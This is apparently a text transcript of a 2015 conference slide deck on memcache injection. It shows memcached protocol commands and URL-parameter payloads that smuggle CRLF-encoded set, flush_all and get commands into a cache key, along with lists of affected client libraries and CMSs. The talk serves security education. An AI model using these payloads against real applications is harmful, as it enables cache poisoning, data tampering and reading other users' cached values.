memcache injection (hacktrick'15)

24
Memcache Injection Ömer Çıtak – Hacktrick’15

Upload: oemer-citak

Post on 11-Apr-2017

817 views

Category:

Software


0 download

TRANSCRIPT

Page 1: Memcache Injection (Hacktrick'15)

Memcache Injection Ömer Çıtak – Hacktrick’15

Page 2: Memcache Injection (Hacktrick'15)

Full-Stack Developer @ Cydets Inc.

development && security

www.omercitak.com

Social : @Om3rCitak

#! whoami

Page 3: Memcache Injection (Hacktrick'15)

#! memcached.jpg

Page 4: Memcache Injection (Hacktrick'15)

#! cat using_memcached

Page 5: Memcache Injection (Hacktrick'15)

#! phpstorm memcached.php

Page 6: Memcache Injection (Hacktrick'15)

> set key 0 10 5

> value

< STORED

> get key

< VALUE key 0 5

< value

< END

#! telnet 127.0.0.1 11211

Page 7: Memcache Injection (Hacktrick'15)

memcached.php?key=

#! phpstorm memcached.php

Page 8: Memcache Injection (Hacktrick'15)

#! phpstorm memcached.php

memcached.php?key=omer

Page 9: Memcache Injection (Hacktrick'15)

#! phpstorm memcached.php

?key=omer+0+3600+6+\r\n+hacked+\r\n

Page 10: Memcache Injection (Hacktrick'15)

?key=omer 0 10 6 \r\n hacked \r\n

urlencode(‘\r’) = %0d

urlencode(‘\n’) = %0a

?key=omer 0 10 6 %0d%0a hacked %0d%0a

#! phpstorm memcached.php

Page 11: Memcache Injection (Hacktrick'15)

#! telnet 127.0.0.1 11211

> set omer 0 3600 6

> hacked

< STORED

> 123456

< ERROR

Page 12: Memcache Injection (Hacktrick'15)

?key=aaaaa…(251)

set yenikey 0 3600 6 %0d%0a hacked %0d%0a

?key=a %00

set yenikey 0 3600 6 %0d%0a hacked %0d%0a

?key=aaaaa…(251)

flush_all %0d%0a

#! phpstorm memcached.php

Page 13: Memcache Injection (Hacktrick'15)

#! phpstorm memcached.php

Page 14: Memcache Injection (Hacktrick'15)

?key=omer

#! phpstorm memcached.php

Page 15: Memcache Injection (Hacktrick'15)

> get key_omer

< VALUE key_omer 0 6

< 123456

< END

#! phpstorm memcached.php

Page 16: Memcache Injection (Hacktrick'15)

?key=aaa (251) %0d%0a get omer 0 6

#! phpstorm memcached.php

Page 17: Memcache Injection (Hacktrick'15)

> get aaa (251)

< ERROR

< get omer

< VALUE omer 0 6

< 353535

< END

#! phpstorm memcached.php

Page 18: Memcache Injection (Hacktrick'15)

Python : Python-pylibmc

Php : Memcached

Asp.Net : memcacheddotnetproject (1.1.5)

Java : com.meetup.memcached

#! cat vulnerable_libraries

Page 19: Memcache Injection (Hacktrick'15)

Python : python-memcache

Php : memcache

Java : java.net.spy.memcached

#! cat safe_libraries

Page 20: Memcache Injection (Hacktrick'15)

• Wordpress

• Joomla 3.2.2

• Piwik 2.1.0

• MODX Revolution 2.3

#! cat using_memcached

Page 21: Memcache Injection (Hacktrick'15)

fixed?

Page 22: Memcache Injection (Hacktrick'15)

fixed?

Page 23: Memcache Injection (Hacktrick'15)

#! questions?

Page 24: Memcache Injection (Hacktrick'15)

Thanks <3

www.omercitak.com

Social : @Om3rCitak

#! exit